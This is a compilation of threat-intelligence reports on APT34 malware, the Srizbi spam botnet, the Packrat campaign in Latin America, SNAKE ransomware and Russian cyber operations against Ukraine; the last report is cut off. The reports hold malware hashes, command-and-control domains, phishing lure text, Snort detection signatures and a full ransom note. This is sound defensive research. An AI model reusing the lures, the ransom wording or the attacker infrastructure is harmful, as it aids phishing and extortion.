execution. Although this backdoor was coded to be able to communicate with DNS requests to the hard-coded Command and Control server, it was not configured to use this functionality. ### VALUEVAULT VALUEVAULT is a Golang compiled version of the “Windows Vault Password Dumper” browser credential theft tool from Massimiliano Montoro, the developer of Cain & Abel. VALUEVAULT maintains the same functionality as the original tool by allowing the operator to extract and view the credentials stored in the Windows Vault. Additionally, VALUEVAULT will call Windows PowerShell to extract browser history in order to match browser passwords with visited sites. Upon execution, VALUEVAULT creates a SQLITE database file in the AppData\Roaming directory under the context of the user account it was executed by. This file is named fsociety.dat and VALUEVAULT will write the dumped passwords to this in SQL format. This functionality is not in the original version of the “Windows Vault Password Dumper”. ### LONGWATCH FireEye identified the binary WinNTProgram.exe (MD5: 021a0f57fe09116a43c27e5133a57a0a) hosted on the malicious domain offlineearthquake[.]com. FireEye identifies this malware as LONGWATCH. The primary function of LONGWATCH is a keylogger that outputs keystrokes to a log.txt file in the Windows temp folder. ## Detecting the Techniques FireEye detects this activity across our platforms, including named detection for TONEDEAF, VALUEVAULT, and LONGWATCH. ### Table 1: FireEye Platform Detections | Signature Name | |----------------| | FE_APT_Keylogger_Win_LONGWATCH_1 | | FE_APT_Keylogger_Win_LONGWATCH_2 | | FE_APT_Keylogger_Win32_LONGWATCH_1 | | FE_APT_HackTool_Win_PICKPOCKET_1 | | FE_APT_Trojan_Win32_VALUEVAULT_1 | | FE_APT_Backdoor_Win32_TONEDEAF | | TONEDEAF BACKDOOR [DNS] | | TONEDEAF BACKDOOR [upload] | | TONEDEAF BACKDOOR [URI] | ### Table 2: APT34 Endpoint Indicators from this blog post | Indicator | MD5 Hash (if applicable) | Code Family | |-------------------------------|------------------------------------------------|-------------| | System.doc | b338baa673ac007d7af54075ea69660b | TONEDEAF | | | 50fb09d53c856dcd0782e1470eaeae35 | TONEDEAF | | ERFT-Details.xls | 96feed478c347d4b95a8224de26a1b2c | TONEDEAF | | | caf418cbf6a9c4e93e79d4714d5d3b87 | TONEDEAF | | b.exe | 9fff498b78d9498b33e08b892148135f | VALUEVAULT | | WindowsNTProgram.exe | 021a0f57fe09116a43c27e5133a57a0a | LONGWATCH | | PE86.dll | d8abe843db508048b4d4db748f92a103 | PICKPOCKET | | PE64.dll | 6eca9c2b7cf12c247032aae28419319e | PICKPOCKET | ### Network Indicators - hxxp[://]www[.]cam-research-ac[.]com - offlineearthquake[.]com - c[.]cdn-edge-akamai[.]com - 185[.]15[.]247[.]154 ## Acknowledgements A huge thanks to Delyan Vasilev and Alex Lanstein for their efforts in detecting, analyzing, and classifying this APT34 campaign.
# Inside the "Ron Paul" Spam Botnet **Joe Stewart** **Date: December 4, 2007** On the weekend of October 27, 2007, the Internet was suddenly bombarded with a rash of spam emails promoting U.S. presidential candidate Ron Paul. The spam run continued until Tuesday, October 30, when it stopped as suddenly as it began. At the same time, political blogs began to light up, accusing the campaign (or at least its ardent supporters) of running a criminal botnet for political purposes. We decided to cut through the spin and take a closer look at this botnet to determine its origins and shine some light on who might be responsible. ## Tracking the Spam Tracking specific spam back to a particular piece of botnet malware is somewhat challenging, but given the right cooperation between researchers who hold different pieces of the puzzle, it can be accomplished. To start, one must identify key characteristics of the spam that define a "fingerprint" of the email sent by the bot. Although senders, subjects, and email bodies will vary from spam to spam, often the email headers contain certain static elements which are unique to the mailer engine in the bot software. In the case of the Ron Paul spam, we were able to identify these key elements: - The initial "Received" header is always of the format "from [bot ip] by [nameserver of alleged sender domain]" - The Message-ID always begins with three zeros and ends with a random string of lowercase letters - The dates in the headers are always shown in GMT time, regardless of the local time zone of the bot - The X-Mailer is always Microsoft Outlook Express 6.00.3790.2663 - The X-MimeOLE version is always Microsoft MimeOLE V6.00.3790.2757 By looking for emails containing these hallmarks, we were able to quickly track several thousand IP addresses sending Ron Paul spam during the time period above. We were also able to see the other types of spam being sent by the botnet, quickly dismissing the idea that this botnet was created for the purpose of political spam. Emails emanating from the botnet pitched all of the usual spam products, from pharmaceuticals to fake watches. ## Getting the Malware in Hand At this point, armed with the IP addresses of current bots, it is possible to trace the command and control server of the botnet with cooperation from network administrators who have bots on their network. By monitoring and correlating network flows, the command center was soon tracked to a server at a co-location facility located in the U.S., one that is well known to malware researchers as a frequent host of this type of activity. These clues also led us to the name of the malware behind the botnet - Trojan.Srizbi. Based on this, we were able to locate several variants for testing, the earliest one having been compiled on March 31, 2007. At the end of June, Symantec wrote a fairly detailed blog entry about Srizbi. Information concerning technical details of Srizbi and its removal is available from various anti-virus firms and will not be covered here. ## How Srizbi is Spread Analysis of recently compromised machines indicated that Srizbi is being spread by the n404 web exploit kit, through the malicious site msiesettings.com. This is a well-known "iframe affiliate" malware install site, where the site owner gets paid by different botnet owners for spreading their malware. A trojan is installed by the exploit kit which regularly requests a remote configuration file containing URLs of additional malware to download and install. Previous reports have implicated the use of the MPack web exploit kit in spreading Srizbi as well, so it seems this is the Srizbi author's preferred method of building the botnet. Unfortunately for Srizbi's author, this approach may have some drawbacks - one machine we analyzed was infected with no less than nine other spambots, belonging to the malware families Ascesso, Cutwail, Rustock, Spamthru, Wopla, and Xorpix. While installing multiple spambots may increase profits for the web exploiter, it forces the different spam engines to share resources and bandwidth. Some of these spambots utilize a great deal of CPU time and memory, which means not only is the system less efficient for the other spammers' use, but may force the victim to seek technical help to fix their "slow" machine, leading to premature removal of the bots. It also is likely to land the IP address of the infected machine in DNS blocklists much faster, rendering the bot much less effective in bypassing spam filtering. ## The Reactor Core With the help of Spamhaus, we were able to not only shut down the command and control server, but we were able to obtain the running software from the server, written in the Python language. Examining these showed that the Srizbi botnet is actually a working component of a piece of spamware known as "Reactor Mailer". Reactor Mailer has been around at least since 2004 and is in its third major version. Versions 1 and 2 likely used proxy servers to relay the spam; however, since this is not as efficient as template-based spambots, version 3 was created along with Srizbi, the bot that actually does the mailing. Reactor Mailer is the brainchild of a spammer who goes by the pseudonym "spm". He calls his company "Elphisoft" and has even been interviewed about his operation by the Russian hacker website xakep.ru. He claims to hire some of the best coders in the CIS (Commonwealth of Independent States, the post-Soviet confederation) to write the software. This claim is probably true; by examining details in the source code, we were able to identify at least one of the principal coders of Reactor 3/Srizbi, a Ukrainian who goes by the nickname "vlaman". Various postings by vlaman indicate he is proficient in C and assembler and would certainly be capable of writing the Srizbi trojan. Reactor Mailer operates with a software-as-a-service model. Spammers are given accounts on a Reactor server and use a web-based interface to manage their spam tasks. In the case of the Ron Paul spam, there was only one account on the server in addition to spm, which was named "nenastnyj". We loaded the Reactor Mailer software onto a test machine in order to recreate the interface as seen by the spammer. Although the spamit.com logo is displayed on the interface, there does not appear to be any association between the Reactor software and the real spamit.com website, which is a portal for Canadian Pharmacy spam affiliates. However, customers of Reactor Mailer do sometimes send spam for Canadian Pharmacy, as do most of the botnet spam mailers we've looked at. It could be that spm was contracted to develop the Canadian Pharmacy portal; however, there is also a personality on bulkerforum who goes by the name spamit and claims to be in the pharmaceutical spam business, so we do not believe spamit.com and spm are the same entity. ## The Ron Paul Job Upon logging into the Reactor Mailer interface, the spammer is presented with a list of saved tasks. In the screenshot below, we can clearly see a task called "RonP_3". Clicking on this task link gives us confirmation that the spammer calling himself nenastnyj did indeed send the Ron Paul spam. The list of email addresses assigned to the RonP_3 task is simply titled "good". In the backend Reactor files, this file is 3.4 gigabytes in size and contains 162,211,647 email addresses. Although this is a substantial number of email addresses, many of these are certainly outdated or invalid addresses. However, Reactor, like many modern spam botnets, has a feedback mechanism to allow the controller to know when emails are rejected. It cannot tell, however, when emails are accepted by the destination mailserver and then bounced later. As a result, organizations that do "accept-then-bounce" are likely to have a higher email load since they never manage to have outdated addresses purged from botnet spammer mailing lists, and they spend a lot of time and bandwidth bouncing emails back to domains that were spoofed by the spammer. While the total count of Ron Paul spam messages that actually landed in people's inboxes can't be known, it certainly was received by millions of recipients. All this was done using around 3000 bots, which speaks to the efficiency of the template-based spam botnet model over the older proxy-based methods. The front-end also plays a part in the efficiency, by allowing the spammer to check the message's SpamAssassin score before hitting send, simplifying the process of filter evasion and ensuring maximum delivery for the message. ## Mapping the Reactor Operation Since the bot uses a specific TCP port to communicate with the controller, it is possible to locate additional botnet controllers at the same co-lo facility. By checking nearby network addresses, we were able to map out 16 additional servers controlling different variants of the malware. Communication with these servers showed that the botnet is segmented so that each sub-botnet is probably rented to different customers. The servers we mapped showed the following activity: - xxx.xx.168.107 - Inactive - xxx.xx.168.134 - Penis pill spam - xxx.xx.168.137 - Russian-language spam - xxx.xx.168.143 - Inactive - xxx.xx.168.144 - Inactive - xxx.xx.168.250 - Previously used, down now - xxx.xx.169.2 - Inactive - xxx.xx.169.22 - Replica watch spam - xxx.xx.169.25 - Russian-language spam - xxx.xx.169.107 - MLM work-from-home spam - xxx.xx.169.110 - OEM software spam - xxx.xx.169.135 - Work-from-home spam - xxx.xx.169.136 - Penis pill spam - xxx.xx.169.147 - Penis enlarge patch spam - xxx.xx.169.148 - Penis pill spam - xxx.xx.169.153 - Replica watch spam - xxx.xx.169.154 - Replica watch spam ## Detection Srizbi can be detected in operation on a network by the following Snort signatures: ``` alert udp any 1024: -> any 4099 (msg:"Trojan.Srizbi registering with controller"; dsize:20; content:"|2d|"; offset:6; content:"|2d|"; distance:6; within:1; classtype:trojan-activity; reference:url,www.secureworks.com/research/threats/srizbispam; sid:100000001; rev:1;) alert tcp any any -> any 4099 (msg:"Trojan.Srizbi requesting template"; content:"GET|20|/"; depth:5; content:"|0d0a|X-Flags|3a20|"; within:200; content:"|0d0a|X-TM|3a20|"; within:20; content:"|0d0a|X-BI|3a20|"; within:20; reference:url,www.secureworks.com/research/threats/srizbispam; sid:100000002; rev:1;) ``` ## Conclusions With the facts above, we are left asking the question, "who paid to have the Ron Paul spam sent and how did they connect with the spammer, 'nenastnyj'?" The evidence shows that despite being capable of sending upwards of 200 million messages a day, nenastnyj is not one of the major spammers of the world and seems to focus on spamming as an affiliate for larger "kingpin" operations. The Ron Paul spam was very much a 'one-off' job among the other tasks in the Reactor interface. It almost seems as though there may have been some pre-established relationship between the sponsor of the spam and nenastnyj. However, given the current state of law enforcement activity concerning spam in the countries of the CIS, it is unlikely we will get an answer to these questions. However, it does give us an unprecedented look at both the front and back-end operation of a modern botnet spam system. SecureWorks would like to thank our colleagues at myNetWatchman, IronPort, and Spamhaus for their invaluable assistance in the investigation of this botnet.
# Packrat: Seven Years of a South American Threat Actor **Authors:** John Scott-Railton, Morgan Marquis-Boire, Claudio Guarnieri, Marion Marschalek **Date:** December 8, 2015 **Tagged:** Argentina, Brazil, Disinformation, Ecuador, Latin America and the Caribbean, Malware, Packrat, Phishing, South America **Categories:** Reports and Briefings ## Summary This report describes an extensive malware, phishing, and disinformation campaign active in several Latin American countries, including Ecuador, Argentina, Venezuela, and Brazil. The nature and geographic spread of the targets suggest a sponsor with regional political interests. The attackers, named Packrat, have shown a systematic interest in the political opposition and the independent press in ALBA countries (Bolivarian Alternative for the Americas) and their allied regimes. After observing a wave of attacks in Ecuador in 2015, we linked these attacks to a campaign active in Argentina in 2014. The targeting in Argentina was discovered when the attackers attempted to compromise the devices of Alberto Nisman and Jorge Lanata. This report brings together many pieces of this campaign, from malware and phishing to command and control infrastructure spread across Latin America. It also highlights fake online organizations that Packrat has created in Venezuela and Ecuador. We assess several scenarios regarding responsibility, considering the most likely to be that Packrat is sponsored by a state actor or actors, given their apparent lack of concern about discovery, their targets, and their persistence. However, we do not conclusively attribute Packrat to a particular sponsor. ## Part 1: Packrat’s Seven Years of Activity The authors have been independently investigating malware and phishing campaigns in Latin America. This report results from discovering that the cases we have been investigating are linked by a common threat actor with targeting in several countries, including Venezuela, Ecuador, Argentina, and Brazil. We refer to this threat actor as Packrat, highlighting their preference for packed, commodity Remote Access Trojans (RATs) and their retention of the same domains and servers over many years. Packrat has systematically targeted high-profile political figures, journalists, and others in several countries with malware and phishing. In total, we uncovered 12 different malware command and control domains and over 30 samples of malware over a seven-year period. Packrat also favors an interesting strategy: create and maintain fake opposition groups and news organizations, then use these to distribute malware and conduct phishing attacks. ### Packrat’s Greatest Hits **2008-2013** Tools and infrastructure used by Packrat suggest that they have been active since at least 2008. During this period, Packrat used hosting services in Brazil, and some of their malware samples were uploaded from Brazilian IP space to popular online virus scanning services. Some messages they sent also contained Brazilian bait content. While this suggests Brazilian targeting, we have yet to find confirmed victims from this period. **2014** By 2014, Packrat was targeting high-profile Argentine lawyer Alberto Nisman and well-known investigative journalist Jorge Lanata. Maximo Kirchner, son of Argentina’s president, also announced that he was targeted. The screenshot he released of the phishing email he received is consistent with what we have seen, although we have not been able to verify his claims. Additionally, a number of phishing domains with Ecuadorian and Venezuelan targeting became active during this period. **2015** 2015 marked an extensive campaign of phishing and malware attacks targeting civil society and public figures, including parliamentarians in Ecuador. We observed a range of phishing domains and attacks, often using fake organizations during this period. We also found fake organizations and possible disinformation campaigns targeting Ecuador, Venezuela, and the Venezuelan diaspora. ### 1.1 Nisman and the Argentine Cases In January 2015, controversial Argentine prosecutor Alberto Nisman was found dead of a gunshot under suspicious circumstances. Argentine news reported that a malicious file was found on his Android phone by the Buenos Aires Metropolitan Police forensic lab. The file was named “estrictamente secreto y confidencial.pdf.jar,” or “strictly secret and confidential” in English. An identically titled file was uploaded to VirusTotal from Argentina on May 29, 2015. The file was a remote access toolkit, known as AlienSpy, which allowed an attacker to record the activities of a target, access their email, webcam, and more. However, the file was built for the Windows operating system and could not have infected Nisman’s Android phone. The initial analysis of the AlienSpy implant revealed the command and control server of the attackers to be deyrep24.ddns.net. In addition to the malware used to target Nisman, Lanata, and Kirchner, three other samples were found which used deyrep24.ddns.net as a command and control domain. One of these, 3 MAR PROYECTO GRIPEN.docx.jar, was a build of AlienSpy masquerading as a document containing communication between Ecuadorian President Rafael Correa and Ecuador’s Ambassador to Sweden concerning the acquisition of fighter jets. After the finding was made public, other targets came forward. Prominent investigative journalist Jorge Lanata revealed that he too had been targeted by the same malware. The president’s son, Maximo Kirchner, also claimed to have been targeted. We were unable to verify Kirchner’s claim; however, a screenshot showing his targeting was included in a report of this claim. ### 1.2 Ecuadorian Campaigns In 2015, we began receiving a growing number of reports of phishing attacks via email and SMS targeting journalists and other public figures in Ecuador. Some emails we examined had no political content but were simple credential phishing for social media and email providers, like Gmail. Others, however, had explicit political content concerning a range of political figures and issues in Ecuador. Further investigation revealed an extensive campaign, as well as many fake organizations. One of the authors developed a Gmail search query for strings associated with the attacks. We shared this query with many potential targets, resulting in hits for phishing attacks, as well as suspicious Microsoft Word (DOCX) files sent to a range of journalists and public figures. These documents contained embedded RATs written in Java, including Adzok and AlienSpy. We found a dense web of interconnections between phishing and malware sites. Sites often shared registration information or were hosted from the same servers. We determined that the malware samples typically communicated with daynews.sytes.net, which is linked to the Argentine cases. Ultimately, investigation of this infrastructure also revealed malware and infrastructure in Brazil and fake sites in Venezuela. ### 1.3 Shared Command & Control Infrastructure Packrat’s deyrep24.ddns.net domain was created on November 7, 2014, and at the time of Nisman’s targeting, pointed to the IP address: 50.62.133.49. This IP address belongs to a GoDaddy range for dedicated hosting, and on March 3, 2015, the domain moved to another GoDaddy IP: 192.169.243.65. Passive DNS records revealed that at the same time as this IP was being used by the deyrep24.ddns.net command and control domain, it was being used by the domain daynews.sytes.net, which had been created on March 1, 2015. Over the course of our joint investigation, we found five samples of malware using this domain which were used to target journalists and civil society in Ecuador. ### Packrat’s Command and Control Infrastructure | Domain | Relevant Resolution | Relevant Date of Resolution | |---------------------------------|---------------------|-----------------------------| | deyrep24.ddns.net | 50.62.133.49 | November 7, 2014 | | | 192.169.243.65 | March 3, 2015 | | daynews.sytes.net | 192.169.243.65 | March 3, 2015 | | | 190.20.180.181 | March 1, 2015 | | taskmgr.serveftp.com | 190.210.180.181 | August 11, 2014 | | | 201.52.24.126 | July 23, 2014 | | | 186.220.1.84 | July 11, 2014 | | taskmgr.servehttp.com | 186.220.1.84 | June 24, 2014 | | | 201.52.24.126 | July 23, 2014 | | | 186.220.1.84 | July 11, 2014 | | | 186.220.11.67 | August 15, 2014 | | taskmgr.redirectme.com | 201.52.24.126 | July 23, 2014 | | | 186.220.1.84 | July 11, 2014 | | ruley.no-ip.org | 186.220.1.84 | July 11, 2014 | | | 189.100.148.188 | September 6, 2012 | | lolinha.no-ip.org | 189.100.148.188 | September 6, 2012 | | wjwj.no-ip.org | 189.100.148.188 | September 6, 2012 | | conhost.servehttp.com | 186.220.11.67 | August 15, 2014 | | dllhost.servehttp.com | 186.220.11.67 | August 15, 2014 | | wjwjwj.no-ip.org | 179.208.187.216 | March 25, 2014 | | | 186.220.1.84 | June 24, 2014 | | wjwjwjwj.no-ip.org | 179.208.187.216 | March 25, 2014 | On July 11, 2014, all ‘taskmgr’ domains were hosted on 186.220.1.84, an IP address in Brazil. At the same time, this IP address was hosting ruley.no-ip.org. We managed to find a malware sample using both ruley.no-ip.org and taskmgr.serveftp.com as command and control domains. In addition to these domains, the domains wjwjwj.no-ip.org and wjwjwjwj.no-ip.org appear to be related. On March 25, 2014, both wjwj.no-ip.org and wjwjwj.no-ip.org pointed to 179.208.187.216. On June 24, 2014, both taskmgr.servehttp.com and wjwjwjwj.no-ip.org pointed to 186.220.1.84. The command and control servers behind these domains were hosted with a variety of providers around Latin America, including Uruguay, Argentina, and Claro Brazil. Packrat has also used servers in Europe and the US, including Portlane AB in Sweden and GoDaddy in the United States. We have notified hosting providers to facilitate the shutdown of Packrat’s infrastructure. ## Part 2: Recent Malware Attacks in Ecuador Packrat is active in many countries, but it is in Ecuador that we gathered the most systematic evidence of their activities, as well as connect directly with targets and victims. We are also tracking active attacks against Ecuadorian targets at the time of writing. Using email inbox search queries that we shared with potential targets, as well as analysis of malware databases and seeding infrastructure, we collected a diverse set of malware and phishing attacks targeting journalists, public figures, politicians, and other prominent individuals. ### 2.1 Previous Reports of Packrat Malware in Ecuador There are public reports, as well as social media mentions, that point to politically-linked malware attacks in Ecuador by Packrat. For example, Ecuadorian freedom of expression organization Fundamedios reported that public figures, satirical news organizations, and others had received suspicious messages and phishing attempts. Fundamedios later updated their reporting to note that Access Now stated that some of these attacks shared command and control infrastructure with the malware reportedly used to target Nisman. ### 2.2 Common Techniques We observed a range of social engineering techniques used to send malware to Ecuadorian targets. In cases where we observed seeding, the malware was often accompanied by political bait content, frequently relevant to Ecuador’s opposition. The most common delivery mechanism was via Microsoft Word DOCX files containing malicious Java. However, in other cases, attackers used fake updates. **Common Seeding Techniques:** - Emailed as attached malicious files - As links to malware hosted on sites controlled by the attackers - On Google Drive or OneDrive - Popups or fake update notifications on politically themed/lookalike sites Packrat often uses email senders and websites in its social engineering that appear similar to real persons and organizations. For example, they registered ecuadorenvivo.co, which looks like the genuine domain of the Ecuador En Vivo news website (ecuadorenvivo.com). Packrat then sent emails purporting to be news updates from the ecuadorenvivo.co domain. ### 2.3 Three Attacks in Detail To illustrate Packrat’s approach, this section describes three recent attacks in detail. The attacks date from between Spring and Fall 2015. Targets of these attacks include Ecuadorian journalists and public figures. #### 2.3.1 Attack 1: Email from a Fake Opposition Movement Throughout April 2015, multiple targets received emails from the “Movimento Anti Correista” (English: “Anti Correa Movement”), a fictitious group that purports to be opponents of Ecuador’s current president, Rafael Correa. The emails contained a Microsoft Word DOCX attachment containing Adzok malware. **Example Seeding Email from “Movimento Anti Correista”** **Seeding text translation:** - **Subject:** Foul Play by Rafael Correa Against the Opposition - **Body:** We are sharing with you this leaked document about President Rafael Correa’s dirty tricks against the opposition (Open on a PC, this cannot be read on a phone.) Coming soon more leaks on: www[.]movimientoanticorreista.com The email seems intended for several purposes. It is designed to trick the target into downloading and viewing the document, but it also seems to establish the legitimacy of the domain and the identity of the movement. **The Malicious Attachment:** - **Name:** La jugada sucia De Correa ante la oposición.ppt - **Type:** Microsoft Word Document file (.docx) - **MD5:** ea7bcf58a4ccdecb0c64e56b9998a4ac Embedded in this document is software called “Adzok – Invisible Remote Administrator.” #### 2.3.2 Attack 2: You Are Being Spied On! This attack is designed to create a sense of fear and concern in the target, leading to the file being opened. The email is customized for the target’s name and claims that the target is being spied on by SENAIN, Ecuador’s National Intelligence Secretariat. The attachment purports to be a list of Twitter users spied on by SENAIN. **Seeding text translation:** - **Subject:** [Target’s Name] spied on by SENAIN - **Body:** Greetings, G.L. Note: Open this on your personal computer. It can’t be opened by smartphones. Like Attack 1, the malware is not delivered with an exploit but requires that the victim double-clicks on the file and accepts any prompts before executing it. The document instructs the target to click: - **English Translation:** TO READ ALL THE TWEETS DOUBLE CLICK ON THE GRAPHIC OF TWITTER When the image is double-clicked, the victim is infected with malware from the AlienSpy family. #### 2.3.3 Attack 3: “Exclusive Information about Correa’s Lies” This attack was served via a link to a fake political website hosting malicious content. The email directed the victim to the site. The attack attempts to trick the target into believing that it originates from the legitimate investigative journalism site Focus Ecuador. **Email:** - **From:** Focus Ecuador <[email protected]> - **Date:** [September, 2015 REDACTED] - **Subject:** FOCUS ECUADOR ADELANTA EL VIDEO DEL ESCANDALO - **To:** [REDACTED] **English Translation:** - **From:** Focus Ecuador <[email protected]> - **Date:** [September, 2015 REDACTED] - **Subject:** FOCUS ECUADOR THE VIDEO SCANDAL - **To:** [REDACTED] Information on the lies of Correa see the exclusive video: http://focusecuador.tk/ The email also contains a tracking image from the domain mesvr.com, which is commonly used by ReadNotify, a service used to track the delivery of emails. The focusecuador.tk lookalike website contained content scraped from the legitimate site but also showed victims a Flash update notification. When clicked, the link triggered the download of “plugin_video.jar.” **Attack 3: Binary** - **Name:** plugin_video.jar - **Type:** Java Archive (JAR) - **MD5:** 74613eae84347183b4ca61b912a4573f ## 3. The Evolution of Packrat’s Implants Over the past seven years, Packrat has used several different types of malware, much of it off-the-shelf RATs, such as Cybergate, Xtreme, AlienSpy, and Adzok. While these malware families are known to researchers, Packrat typically obfuscates their malware using a range of tools, including an unknown VB6 crypter, AutoIt3Wrapper, UPX, PECompact, PEtite, and Allatori Obfuscator. ### 3.1. 2008-2014: Packed RATS, Mostly CyberGate Between 2008 and 2014, Packrat made extensive use of off-the-shelf RATs encapsulated in AutoIt3Wrapper, a runtime packer. The majority of implants that are then dropped and executed appear to be CyberGate RAT. ### 3.1.1 Analysis of CyberGate RAT The CyberGate RAT samples we analyzed were typically wrapped in a layer of AutoIt. After unpacking from the applied runtime packer, CyberGate runs its second stage, which is likely the infection routine. This injects the third stage, a DLL, into a running process. ### 3.2: 2014-2015 AlienSpy Dominates Over the past two years, Packrat has been using an evolving family of off-the-shelf malware known as AlienSpy. AlienSpy is a relatively full-featured RAT with a range of features, such as recording the victim’s keystrokes, audio eavesdropping via a device’s built-in microphone, remote viewing of the desktop, and the ability to turn on a victim’s webcam without user notification. ### 3.2.1 Packrat’s AlienSpy Deployment From 2014 to early 2015, Packrat’s preferred technique was to send AlienSpy implants as attachments in phishing emails with the extension ‘.pdf.jar.’ ### 4. Packrat’s Persistent Phishing Campaigns Packrat is active in phishing, often against the same groups and individuals whom they target with malware. **Category | Example Domain | Note** - Politics & News | lavozamericana.info | Fake news website - Governmental – Ecuador | asambleanacional-gob-ec.cu9.co | Lookalike to the Ecuadorian National Assembly’s email login - Political Movement – Ecuador | movimientoanticorreista.com | Fake political movement - Free E-mail | mgoogle.us | Fake Google login ### 4.1 Non-Politically Themed Phishing Content One of the most common phishing techniques is lookalike communications from popular webmail and social media sites containing requests for password verification, notifications of unauthorized logins, and so on. ### 4.2 Politically Themed Phishing We observed a wide range of emails and messages that contained content with political overtones. Packrat takes two basic approaches in the attacks we have examined: create fake political and media organizations and impersonate well-known groups and high-profile individuals. ### 5. Possible Deception Operations Not all of the domains associated with this group appear to have been built to spread malware or trick victims into entering their passwords. Several domains are extensively built out and currently maintained, which appear to be designed to convey the impression of active news media sites. ### 6. The Challenge of Attribution The evidence presented in this report points to a coordinated and persistent campaign with a regional focus. This raises questions about attribution. **Hypothesis 1: Packrat is State-Sponsored** - Examining the Target List: The list of known targets is full of influential people whose activities could impact the domestic and regional political standing of regimes in several countries. **Hypothesis 2: Packrat is Not State-Sponsored** - This hypothesis considers the possibility that Packrat operates independently without state backing. The data presented in this report could be explained by either of these possibilities.
# SNAKE Ransomware Is the Next Threat Targeting Business Networks By Lawrence Abrams January 8, 2020 Since network administrators didn't already have enough on their plate, they now have to worry about a new ransomware called SNAKE that is targeting their networks and aiming to encrypt all of the devices connected to it. Enterprise targeting, or big-game hunting, ransomware are used by threat actors that infiltrate a business network, gather administrator credentials, and then use post-exploitation tools to encrypt the files on all of the computers on the network. The list of enterprise targeting ransomware is slowly growing and includes Ryuk, BitPaymer, DoppelPaymer, Sodinokibi, Maze, MegaCortex, LockerGoga, and now the Snake Ransomware. ## What we know about the Snake Ransomware Snake Ransomware was discovered by MalwareHunterTeam last week who shared it with Vitali Kremez to reverse engineer and learn more about the infection. Based on the analysis performed by Kremez, this ransomware is written in Golang and contains a much higher level of obfuscation than is commonly seen with these types of infections. "The ransomware contains a level of routine obfuscation not previously and typically seen coupled with the targeted approach," Kremez, Head of SentinelLabs, told BleepingComputer in a conversation. When started, Snake will remove the computer's Shadow Volume Copies and then kill numerous processes related to SCADA systems, virtual machines, industrial control systems, remote management tools, network management software, and more. It then proceeds to encrypt the files on the device, while skipping any that are located in Windows system folders and various system files. The list of system folders that are skipped can be found below: - windir - SystemDrive - \$Recycle.Bin - \ProgramData - \Users\All Users - \Program Files - \Local Settings - \Boot - \System Volume Information - \Recovery - \AppData\ When encrypting a file, it will append a ransom 5 character string to the file's extension. For example, a file named 1.doc will be encrypted and renamed like 1.docqkWbv. ## Folder of Encrypted Files In each file that is encrypted, the SNAKE Ransomware will append the 'EKANS' file marker. EKANS is SNAKE in reverse. BleepingComputer has tested many ransomware infections since 2013 and for some reason, it took Snake a particularly long time to encrypt our small test box compared to many other ransomware infections. As this is targeted ransomware that is executed at the time of the attacker's choosing, this may not be that much of a problem as the encryption will most likely occur after hours. When done encrypting the computer, the ransomware will create a ransom note in the C:\Users\Public\Desktop folder named Fix-Your-Files.txt. This ransom note contains instructions to contact a listed email address for payment instructions. This email address is currently [email protected]. As you can see from the language in the ransom note, this ransomware specifically targets the entire network rather than individual workstations. They further indicate that any decryptor that is purchased will be for the network and not individual machines, but it is too soon to tell if they would make an exception. This ransomware is still being analyzed for weaknesses and it is not known if it can be decrypted for free. At this time, though, it looks secure. ## IOCs: **Hash:** e5262db186c97bbe533f0a674b08ecdafa3798ea7bc17c705df526419c168b60 **Ransom note text:** -------------------------------------------- | What happened to your files? -------------------------------------------- We breached your corporate network and encrypted the data on your computers. The encrypted data includes documents, databases, photos and more - all were encrypted using military grade encryption algorithms (AES-256 and RSA-2048). You cannot access those files right now. But don't worry! You can still get those files back and be up and running again in no time. --------------------------------------------- | How to contact us to get your files back? --------------------------------------------- The only way to restore your files is by purchasing a decryption tool loaded with a private key we created specifically for your network. Once run on an affected computer, the tool will decrypt all encrypted files - and you can resume day-to-day operations, preferably with better cyber security in mind. If you are interested in purchasing the decryption tool contact us at [email protected] ------------------------------------------------------- | How can you be certain we have the decryption tool? ------------------------------------------------------- In your mail to us attach up to 3 files (up to 3MB, no databases or spreadsheets). We will send them back to you decrypted. **Associated file names:** Fix-Your-Files.txt Enterprise Network Ransomware Snake Lawrence Abrams is the owner and Editor in Chief of BleepingComputer.com. Lawrence's area of expertise includes Windows, malware removal, and computer forensics. Lawrence Abrams is a co-author of the Winternals Defragmentation, Recovery, and Administration Field Guide and the technical editor for Rootkits for Dummies.
# Introduction Prior to Russia’s full-scale invasion of Ukraine on February 24, 2022, many observers expected that a Russian-led hybrid war, like that observed when Russia invaded Donbas and illegally annexed Crimea in 2014, would involve marrying cyber weapons, influence operations, and military force to swiftly overrun Ukrainian defenses. Now, one year after its full-scale invasion, Russia’s military has indeed wrought physical devastation in Ukraine but has not achieved its objectives—in part because Moscow’s parallel cyber and influence operations have largely failed. Russian destructive cyberattacks have fluctuated in intensity and been frequently repelled. Most Kremlin-backed propaganda campaigns aimed at Ukraine have had little impact, revealing the limitations of Russian influence when met by a resilient Ukrainian population. Russian state-affiliated cyber and influence actors, however, have not been deterred and continue to seek alternative strategies inside and outside Ukraine. Since January 2023, Microsoft has observed Russian cyber threat activity adjusting to boost destructive and intelligence-gathering capacity on Ukraine and its partners’ civilian and military assets. IRIDIUM—also known as Sandworm, a threat actor attributed to Russia’s military intelligence agency (GRU)—appears to be preparing for a renewed destructive campaign, like its wave of Foxblade and Caddy wiper malware deployments against Ukrainian government and media organizations in the early days of the war. As of late 2022, the threat actor may also have been testing additional ransomware-style capabilities that could be used in destructive attacks on organizations. Meanwhile, Moscow’s propaganda machine has taken aim at Ukrainian refugees and populations in occupied territories and abroad, pivoting to focus on fighting that hit the Zaporizhzhia Nuclear Power Plant in southern Ukraine, with Russia’s propagandists fearmongering about nuclear attacks. Aiming to garner Kremlin-aligned coverage in international press, the Russian government sponsored a PR tour of Donbas in the spring—with press members visiting from France, Germany, India, and Turkey, among others—as well as tours to the Zaporizhzhia Nuclear Power Plant. # Hybrid War in Review ## Phase 1: Cyber and Influence Operations Parallel From January 2022 to Late March 2022, Russian cyber threat and influence actors focused much of their operational capacity on achieving an early victory in Ukraine, consistent with the value that the Russian military thought places on high impact at the start of a war. Perhaps anticipating a quick and decisive victory, early Russian cyberattacks did not appear to account for the rapid response by Ukrainian network defenders and the international technology community to identify and mitigate malicious activity. In January 2022, Russian military actor DEV-0586 deployed the WhisperGate wiper against a few Ukrainian organizations. Since that time, Russian threat actors have employed at least nine new wiper families and two types of ransomware against more than 100 Ukrainian organizations. Hundreds of systems across the Ukrainian government, critical infrastructure, media, and commercial sectors have been affected by wipers that permanently delete files and/or render machines inoperable, but most of these attacks coincided with Russia’s initial invasion in February and March 2022. Russian influence actors attempted to flood social media platforms in an information offensive ahead of the full-scale invasion. Russian state-affiliated messengers 